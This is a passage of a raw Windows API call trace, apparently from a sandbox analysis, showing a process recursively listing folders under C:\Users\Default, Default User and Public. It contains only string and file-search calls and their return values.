returned 0xffffffff [0159.010] PathFindFileNameW (pszPath="C:\\Users\\Default\\PrintHood") returned="PrintHood" [0159.010] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="PrintHood" | out: lpString1="PrintHood") returned="PrintHood" [0159.010] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Default" | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default" [0159.010] lstrcatW (in: lpString1="C:\\Users\\Default", lpString2="\\" | out: lpString1="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0159.010] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="Recent" | out: lpString1="C:\\Users\\Default\\Recent") returned="C:\\Users\\Default\\Recent" [0159.010] SetErrorMode (uMode=0x1) returned 0x1 [0159.010] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Recent" | out: lpString1="C:\\Users\\Default\\Recent") returned="C:\\Users\\Default\\Recent" [0159.010] lstrcatW (in: lpString1="C:\\Users\\Default\\Recent", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Recent\\") returned="C:\\Users\\Default\\Recent\\" [0159.010] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Default\\Recent\\" | out: lpString1="C:\\Users\\Default\\Recent\\") returned="C:\\Users\\Default\\Recent\\" [0159.010] lstrcatW (in: lpString1="C:\\Users\\Default\\Recent\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default\\Recent\\*.*") returned="C:\\Users\\Default\\Recent\\*.*" [0159.010] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Recent\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0159.010] PathFindFileNameW (pszPath="C:\\Users\\Default\\Recent") returned="Recent" [0159.010] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Recent" | out: lpString1="Recent") returned="Recent" [0159.010] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Recent" | out: lpString1="C:\\Users\\Default\\Recent") returned="C:\\Users\\Default\\Recent" [0159.010] lstrcatW (in: lpString1="C:\\Users\\Default\\Recent", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default\\Recent\\*.*") returned="C:\\Users\\Default\\Recent\\*.*" [0159.010] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Recent\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0159.010] PathFindFileNameW (pszPath="C:\\Users\\Default\\Recent") returned="Recent" [0159.010] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Recent" | out: lpString1="Recent") returned="Recent" [0159.010] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Default" | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default" [0159.010] lstrcatW (in: lpString1="C:\\Users\\Default", lpString2="\\" | out: lpString1="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0159.010] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="Saved Games" | out: lpString1="C:\\Users\\Default\\Saved Games") returned="C:\\Users\\Default\\Saved Games" [0159.010] SetErrorMode (uMode=0x1) returned 0x1 [0159.010] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Saved Games" | out: lpString1="C:\\Users\\Default\\Saved Games") returned="C:\\Users\\Default\\Saved Games" [0159.010] lstrcatW (in: lpString1="C:\\Users\\Default\\Saved Games", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Saved Games\\") returned="C:\\Users\\Default\\Saved Games\\" [0159.010] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Default\\Saved Games\\" | out: lpString1="C:\\Users\\Default\\Saved Games\\") returned="C:\\Users\\Default\\Saved Games\\" [0159.010] lstrcatW (in: lpString1="C:\\Users\\Default\\Saved Games\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default\\Saved Games\\*.*") returned="C:\\Users\\Default\\Saved Games\\*.*" [0159.010] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Saved Games\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e838 [0159.010] PathFindFileNameW (pszPath="C:\\Users\\Default\\Saved Games") returned="Saved Games" [0159.010] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Saved Games" | out: lpString1="Saved Games") returned="Saved Games" [0159.011] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Saved Games" | out: lpString1="C:\\Users\\Default\\Saved Games") returned="C:\\Users\\Default\\Saved Games" [0159.011] lstrcatW (in: lpString1="C:\\Users\\Default\\Saved Games", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default\\Saved Games\\*.*") returned="C:\\Users\\Default\\Saved Games\\*.*" [0159.011] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Saved Games\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e838 [0159.011] PathFindFileNameW (pszPath="C:\\Users\\Default\\Saved Games") returned="Saved Games" [0159.011] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Saved Games" | out: lpString1="Saved Games") returned="Saved Games" [0159.011] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0159.011] lstrcmpW (lpString1="SendTo", lpString2="..") returned 1 [0159.011] lstrcmpW (lpString1="SendTo", lpString2=".") returned 1 [0159.011] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Default" | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default" [0159.011] lstrcatW (in: lpString1="C:\\Users\\Default", lpString2="\\" | out: lpString1="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0159.011] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="SendTo" | out: lpString1="C:\\Users\\Default\\SendTo") returned="C:\\Users\\Default\\SendTo" [0159.011] SetErrorMode (uMode=0x1) returned 0x1 [0159.011] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\SendTo" | out: lpString1="C:\\Users\\Default\\SendTo") returned="C:\\Users\\Default\\SendTo" [0159.011] lstrcatW (in: lpString1="C:\\Users\\Default\\SendTo", lpString2="\\" | out: lpString1="C:\\Users\\Default\\SendTo\\") returned="C:\\Users\\Default\\SendTo\\" [0159.011] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Default\\SendTo\\" | out: lpString1="C:\\Users\\Default\\SendTo\\") returned="C:\\Users\\Default\\SendTo\\" [0159.011] lstrcatW (in: lpString1="C:\\Users\\Default\\SendTo\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default\\SendTo\\*.*") returned="C:\\Users\\Default\\SendTo\\*.*" [0159.011] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\SendTo\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0159.011] PathFindFileNameW (pszPath="C:\\Users\\Default\\SendTo") returned="SendTo" [0159.011] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="SendTo" | out: lpString1="SendTo") returned="SendTo" [0159.011] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\SendTo" | out: lpString1="C:\\Users\\Default\\SendTo") returned="C:\\Users\\Default\\SendTo" [0159.011] lstrcatW (in: lpString1="C:\\Users\\Default\\SendTo", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default\\SendTo\\*.*") returned="C:\\Users\\Default\\SendTo\\*.*" [0159.011] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\SendTo\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0159.011] PathFindFileNameW (pszPath="C:\\Users\\Default\\SendTo") returned="SendTo" [0159.011] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="SendTo" | out: lpString1="SendTo") returned="SendTo" [0159.011] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Default" | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default" [0159.011] lstrcatW (in: lpString1="C:\\Users\\Default", lpString2="\\" | out: lpString1="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0159.011] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="Start Menu" | out: lpString1="C:\\Users\\Default\\Start Menu") returned="C:\\Users\\Default\\Start Menu" [0159.011] SetErrorMode (uMode=0x1) returned 0x1 [0159.012] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Start Menu" | out: lpString1="C:\\Users\\Default\\Start Menu") returned="C:\\Users\\Default\\Start Menu" [0159.012] lstrcatW (in: lpString1="C:\\Users\\Default\\Start Menu", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Start Menu\\") returned="C:\\Users\\Default\\Start Menu\\" [0159.012] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Default\\Start Menu\\" | out: lpString1="C:\\Users\\Default\\Start Menu\\") returned="C:\\Users\\Default\\Start Menu\\" [0159.012] lstrcatW (in: lpString1="C:\\Users\\Default\\Start Menu\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default\\Start Menu\\*.*") returned="C:\\Users\\Default\\Start Menu\\*.*" [0159.012] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Start Menu\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0159.012] PathFindFileNameW (pszPath="C:\\Users\\Default\\Start Menu") returned="Start Menu" [0159.012] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Start Menu" | out: lpString1="Start Menu") returned="Start Menu" [0159.012] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Start Menu" | out: lpString1="C:\\Users\\Default\\Start Menu") returned="C:\\Users\\Default\\Start Menu" [0159.012] lstrcatW (in: lpString1="C:\\Users\\Default\\Start Menu", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default\\Start Menu\\*.*") returned="C:\\Users\\Default\\Start Menu\\*.*" [0159.012] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Start Menu\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0159.012] PathFindFileNameW (pszPath="C:\\Users\\Default\\Start Menu") returned="Start Menu" [0159.012] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Start Menu" | out: lpString1="Start Menu") returned="Start Menu" [0159.012] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Default" | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default" [0159.012] lstrcatW (in: lpString1="C:\\Users\\Default", lpString2="\\" | out: lpString1="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0159.012] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="Templates" | out: lpString1="C:\\Users\\Default\\Templates") returned="C:\\Users\\Default\\Templates" [0159.012] SetErrorMode (uMode=0x1) returned 0x1 [0159.012] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Templates" | out: lpString1="C:\\Users\\Default\\Templates") returned="C:\\Users\\Default\\Templates" [0159.012] lstrcatW (in: lpString1="C:\\Users\\Default\\Templates", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Templates\\") returned="C:\\Users\\Default\\Templates\\" [0159.012] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Default\\Templates\\" | out: lpString1="C:\\Users\\Default\\Templates\\") returned="C:\\Users\\Default\\Templates\\" [0159.012] lstrcatW (in: lpString1="C:\\Users\\Default\\Templates\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default\\Templates\\*.*") returned="C:\\Users\\Default\\Templates\\*.*" [0159.012] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Templates\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0159.012] PathFindFileNameW (pszPath="C:\\Users\\Default\\Templates") returned="Templates" [0159.012] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Templates" | out: lpString1="Templates") returned="Templates" [0159.012] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Templates" | out: lpString1="C:\\Users\\Default\\Templates") returned="C:\\Users\\Default\\Templates" [0159.012] lstrcatW (in: lpString1="C:\\Users\\Default\\Templates", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default\\Templates\\*.*") returned="C:\\Users\\Default\\Templates\\*.*" [0159.012] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Templates\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0159.012] PathFindFileNameW (pszPath="C:\\Users\\Default\\Templates") returned="Templates" [0159.012] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Templates" | out: lpString1="Templates") returned="Templates" [0159.012] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Default" | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default" [0159.012] lstrcatW (in: lpString1="C:\\Users\\Default", lpString2="\\" | out: lpString1="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0159.012] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="Videos" | out: lpString1="C:\\Users\\Default\\Videos") returned="C:\\Users\\Default\\Videos" [0159.012] SetErrorMode (uMode=0x1) returned 0x1 [0159.013] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Videos" | out: lpString1="C:\\Users\\Default\\Videos") returned="C:\\Users\\Default\\Videos" [0159.013] lstrcatW (in: lpString1="C:\\Users\\Default\\Videos", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Videos\\") returned="C:\\Users\\Default\\Videos\\" [0159.013] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Default\\Videos\\" | out: lpString1="C:\\Users\\Default\\Videos\\") returned="C:\\Users\\Default\\Videos\\" [0159.013] lstrcatW (in: lpString1="C:\\Users\\Default\\Videos\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default\\Videos\\*.*") returned="C:\\Users\\Default\\Videos\\*.*" [0159.013] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Videos\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e838 [0159.013] PathFindFileNameW (pszPath="C:\\Users\\Default\\Videos") returned="Videos" [0159.013] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Videos" | out: lpString1="Videos") returned="Videos" [0159.013] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Videos" | out: lpString1="C:\\Users\\Default\\Videos") returned="C:\\Users\\Default\\Videos" [0159.013] lstrcatW (in: lpString1="C:\\Users\\Default\\Videos", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default\\Videos\\*.*") returned="C:\\Users\\Default\\Videos\\*.*" [0159.013] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Videos\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e838 [0159.013] PathFindFileNameW (pszPath="C:\\Users\\Default\\Videos") returned="Videos" [0159.013] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Videos" | out: lpString1="Videos") returned="Videos" [0159.013] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 0 [0159.013] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 1 [0159.013] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 0 [0159.013] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 1 [0159.013] lstrcmpW (lpString1="Default User", lpString2="..") returned 1 [0159.013] lstrcmpW (lpString1="Default User", lpString2=".") returned 1 [0159.013] lstrcpyW (in: lpString1=0x2dcd6b8, lpString2="C:\\Users" | out: lpString1="C:\\Users") returned="C:\\Users" [0159.013] lstrcatW (in: lpString1="C:\\Users", lpString2="\\" | out: lpString1="C:\\Users\\") returned="C:\\Users\\" [0159.013] lstrcatW (in: lpString1="C:\\Users\\", lpString2="Default User" | out: lpString1="C:\\Users\\Default User") returned="C:\\Users\\Default User" [0159.014] SetErrorMode (uMode=0x1) returned 0x1 [0159.014] lstrcpyW (in: lpString1=0x2dcc2a0, lpString2="C:\\Users\\Default User" | out: lpString1="C:\\Users\\Default User") returned="C:\\Users\\Default User" [0159.014] lstrcatW (in: lpString1="C:\\Users\\Default User", lpString2="\\" | out: lpString1="C:\\Users\\Default User\\") returned="C:\\Users\\Default User\\" [0159.014] lstrcpyW (in: lpString1=0x2dcbe90, lpString2="C:\\Users\\Default User\\" | out: lpString1="C:\\Users\\Default User\\") returned="C:\\Users\\Default User\\" [0159.014] lstrcatW (in: lpString1="C:\\Users\\Default User\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default User\\*.*") returned="C:\\Users\\Default User\\*.*" [0159.014] FindFirstFileW (in: lpFileName="C:\\Users\\Default User\\*.*", lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 0xffffffff [0159.014] PathFindFileNameW (pszPath="C:\\Users\\Default User") returned="Default User" [0159.014] lstrcpyW (in: lpString1=0x2dca884, lpString2="Default User" | out: lpString1="Default User") returned="Default User" [0159.014] lstrcpyW (in: lpString1=0x2dcc2a0, lpString2="C:\\Users\\Default User" | out: lpString1="C:\\Users\\Default User") returned="C:\\Users\\Default User" [0159.014] lstrcatW (in: lpString1="C:\\Users\\Default User", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default User\\*.*") returned="C:\\Users\\Default User\\*.*" [0159.014] FindFirstFileW (in: lpFileName="C:\\Users\\Default User\\*.*", lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 0xffffffff [0159.014] PathFindFileNameW (pszPath="C:\\Users\\Default User") returned="Default User" [0159.014] lstrcpyW (in: lpString1=0x2dca884, lpString2="Default User" | out: lpString1="Default User") returned="Default User" [0159.014] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Default User" | out: lpString1="C:\\Users\\Default User") returned="C:\\Users\\Default User" [0159.014] lstrcatW (in: lpString1="C:\\Users\\Default User", lpString2="\\" | out: lpString1="C:\\Users\\Default User\\") returned="C:\\Users\\Default User\\" [0159.014] lstrcatW (in: lpString1="C:\\Users\\Default User\\", lpString2="Videos" | out: lpString1="C:\\Users\\Default User\\Videos") returned="C:\\Users\\Default User\\Videos" [0159.014] SetErrorMode (uMode=0x1) returned 0x1 [0159.014] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default User\\Videos" | out: lpString1="C:\\Users\\Default User\\Videos") returned="C:\\Users\\Default User\\Videos" [0159.014] lstrcatW (in: lpString1="C:\\Users\\Default User\\Videos", lpString2="\\" | out: lpString1="C:\\Users\\Default User\\Videos\\") returned="C:\\Users\\Default User\\Videos\\" [0159.014] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Default User\\Videos\\" | out: lpString1="C:\\Users\\Default User\\Videos\\") returned="C:\\Users\\Default User\\Videos\\" [0159.014] lstrcatW (in: lpString1="C:\\Users\\Default User\\Videos\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default User\\Videos\\*.*") returned="C:\\Users\\Default User\\Videos\\*.*" [0159.014] FindFirstFileW (in: lpFileName="C:\\Users\\Default User\\Videos\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e478 [0159.014] PathFindFileNameW (pszPath="C:\\Users\\Default User\\Videos") returned="Videos" [0159.014] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Videos" | out: lpString1="Videos") returned="Videos" [0159.014] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default User\\Videos" | out: lpString1="C:\\Users\\Default User\\Videos") returned="C:\\Users\\Default User\\Videos" [0159.014] lstrcatW (in: lpString1="C:\\Users\\Default User\\Videos", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default User\\Videos\\*.*") returned="C:\\Users\\Default User\\Videos\\*.*" [0159.014] FindFirstFileW (in: lpFileName="C:\\Users\\Default User\\Videos\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e6b8 [0159.015] PathFindFileNameW (pszPath="C:\\Users\\Default User\\Videos") returned="Videos" [0159.015] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Videos" | out: lpString1="Videos") returned="Videos" [0159.015] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 0 [0159.015] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0159.015] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0159.015] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 1 [0159.015] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 1 [0159.015] lstrcmpW (lpString1="Public", lpString2="..") returned 1 [0159.015] lstrcmpW (lpString1="Public", lpString2=".") returned 1 [0159.015] lstrcpyW (in: lpString1=0x2dcd6b8, lpString2="C:\\Users" | out: lpString1="C:\\Users") returned="C:\\Users" [0159.015] lstrcatW (in: lpString1="C:\\Users", lpString2="\\" | out: lpString1="C:\\Users\\") returned="C:\\Users\\" [0159.015] lstrcatW (in: lpString1="C:\\Users\\", lpString2="Public" | out: lpString1="C:\\Users\\Public") returned="C:\\Users\\Public" [0159.015] SetErrorMode (uMode=0x1) returned 0x1 [0159.015] lstrcpyW (in: lpString1=0x2dcc2a0, lpString2="C:\\Users\\Public" | out: lpString1="C:\\Users\\Public") returned="C:\\Users\\Public" [0159.015] lstrcatW (in: lpString1="C:\\Users\\Public", lpString2="\\" | out: lpString1="C:\\Users\\Public\\") returned="C:\\Users\\Public\\" [0159.015] lstrcpyW (in: lpString1=0x2dcbe90, lpString2="C:\\Users\\Public\\" | out: lpString1="C:\\Users\\Public\\") returned="C:\\Users\\Public\\" [0159.015] lstrcatW (in: lpString1="C:\\Users\\Public\\", lpString2="*.*" | out: lpString1="C:\\Users\\Public\\*.*") returned="C:\\Users\\Public\\*.*" [0159.015] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\*.*", lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 0x67e6b8 [0159.015] PathFindFileNameW (pszPath="C:\\Users\\Public") returned="Public" [0159.015] lstrcpyW (in: lpString1=0x2dca884, lpString2="Public" | out: lpString1="Public") returned="Public" [0159.015] lstrlenW (lpString="desktop.ini") returned 11 [0159.015] lstrcpyW (in: lpString1=0x2dcc2a0, lpString2="C:\\Users\\Public" | out: lpString1="C:\\Users\\Public") returned="C:\\Users\\Public" [0159.015] lstrcatW (in: lpString1="C:\\Users\\Public", lpString2="\\*.*" | out: lpString1="C:\\Users\\Public\\*.*") returned="C:\\Users\\Public\\*.*" [0159.015] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\*.*", lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 0x67e6b8 [0159.016] PathFindFileNameW (pszPath="C:\\Users\\Public") returned="Public" [0159.016] lstrcpyW (in: lpString1=0x2dca884, lpString2="Public" | out: lpString1="Public") returned="Public" [0159.016] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Public" | out: lpString1="C:\\Users\\Public") returned="C:\\Users\\Public" [0159.016] lstrcatW (in: lpString1="C:\\Users\\Public", lpString2="\\" | out: lpString1="C:\\Users\\Public\\") returned="C:\\Users\\Public\\" [0159.016] lstrcatW (in: lpString1="C:\\Users\\Public\\", lpString2="AccountPictures" | out: lpString1="C:\\Users\\Public\\AccountPictures") returned="C:\\Users\\Public\\AccountPictures" [0159.016] SetErrorMode (uMode=0x1) returned 0x1 [0159.016] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Public\\AccountPictures" | out: lpString1="C:\\Users\\Public\\AccountPictures") returned="C:\\Users\\Public\\AccountPictures" [0159.016] lstrcatW (in: lpString1="C:\\Users\\Public\\AccountPictures", lpString2="\\" | out: lpString1="C:\\Users\\Public\\AccountPictures\\") returned="C:\\Users\\Public\\AccountPictures\\" [0159.016] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Public\\AccountPictures\\" | out: lpString1="C:\\Users\\Public\\AccountPictures\\") returned="C:\\Users\\Public\\AccountPictures\\" [0159.016] lstrcatW (in: lpString1="C:\\Users\\Public\\AccountPictures\\", lpString2="*.*" | out: lpString1="C:\\Users\\Public\\AccountPictures\\*.*") returned="C:\\Users\\Public\\AccountPictures\\*.*" [0159.016] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\AccountPictures\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e478 [0159.016] PathFindFileNameW (pszPath="C:\\Users\\Public\\AccountPictures") returned="AccountPictures" [0159.016] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="AccountPictures" | out: lpString1="AccountPictures") returned="AccountPictures" [0159.016] lstrlenW (lpString="desktop.ini") returned 11 [0159.016] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Public\\AccountPictures" | out: lpString1="C:\\Users\\Public\\AccountPictures") returned="C:\\Users\\Public\\AccountPictures" [0159.016] lstrcatW (in: lpString1="C:\\Users\\Public\\AccountPictures", lpString2="\\*.*" | out: lpString1="C:\\Users\\Public\\AccountPictures\\*.*") returned="C:\\Users\\Public\\AccountPictures\\*.*" [0159.016] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\AccountPictures\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e478 [0159.016] PathFindFileNameW (pszPath="C:\\Users\\Public\\AccountPictures") returned="AccountPictures" [0159.016] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="AccountPictures" | out: lpString1="AccountPictures") returned="AccountPictures" [0159.016] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0159.016] lstrcmpW (lpString1="Desktop", lpString2="..") returned 1 [0159.016] lstrcmpW (lpString1="Desktop", lpString2=".") returned 1 [0159.017] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Public" | out: lpString1="C:\\Users\\Public") returned="C:\\Users\\Public" [0159.017] lstrcatW (in: lpString1="C:\\Users\\Public", lpString2="\\" | out: lpString1="C:\\Users\\Public\\") returned="C:\\Users\\Public\\" [0159.017] lstrcatW (in: lpString1="C:\\Users\\Public\\", lpString2="Desktop" | out: lpString1="C:\\Users\\Public\\Desktop") returned="C:\\Users\\Public\\Desktop" [0159.017] SetErrorMode (uMode=0x1) returned 0x1 [0159.017] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Public\\Desktop" | out: lpString1="C:\\Users\\Public\\Desktop") returned="C:\\Users\\Public\\Desktop" [0159.017] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\" [0159.017] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Public\\Desktop\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\" [0159.017] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop\\", lpString2="*.*" | out: lpString1="C:\\Users\\Public\\Desktop\\*.*") returned="C:\\Users\\Public\\Desktop\\*.*" [0159.017] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Desktop\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e478 [0159.017] PathFindFileNameW (pszPath="C:\\Users\\Public\\Desktop") returned="Desktop" [0159.017] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Desktop" | out: lpString1="Desktop") returned="Desktop" [0159.017] lstrlenW (lpString="Desktop") returned 7 [0159.017] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 1 [0159.017] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Public\\Desktop" | out: lpString1="C:\\Users\\Public\\Desktop") returned="C:\\Users\\Public\\Desktop" [0159.017] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\*.*" | out: lpString1="C:\\Users\\Public\\Desktop\\*.*") returned="C:\\Users\\Public\\Desktop\\*.*" [0159.017] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Desktop\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e478 [0159.017] PathFindFileNameW (pszPath="C:\\Users\\Public\\Desktop") returned="Desktop" [0159.017] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Desktop" | out: lpString1="Desktop") returned="Desktop" [0159.017] lstrlenW (lpString="Desktop") returned 7 [0159.017] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 1 [0159.017] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0159.017] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0159.017] lstrcmpW (lpString1="Documents", 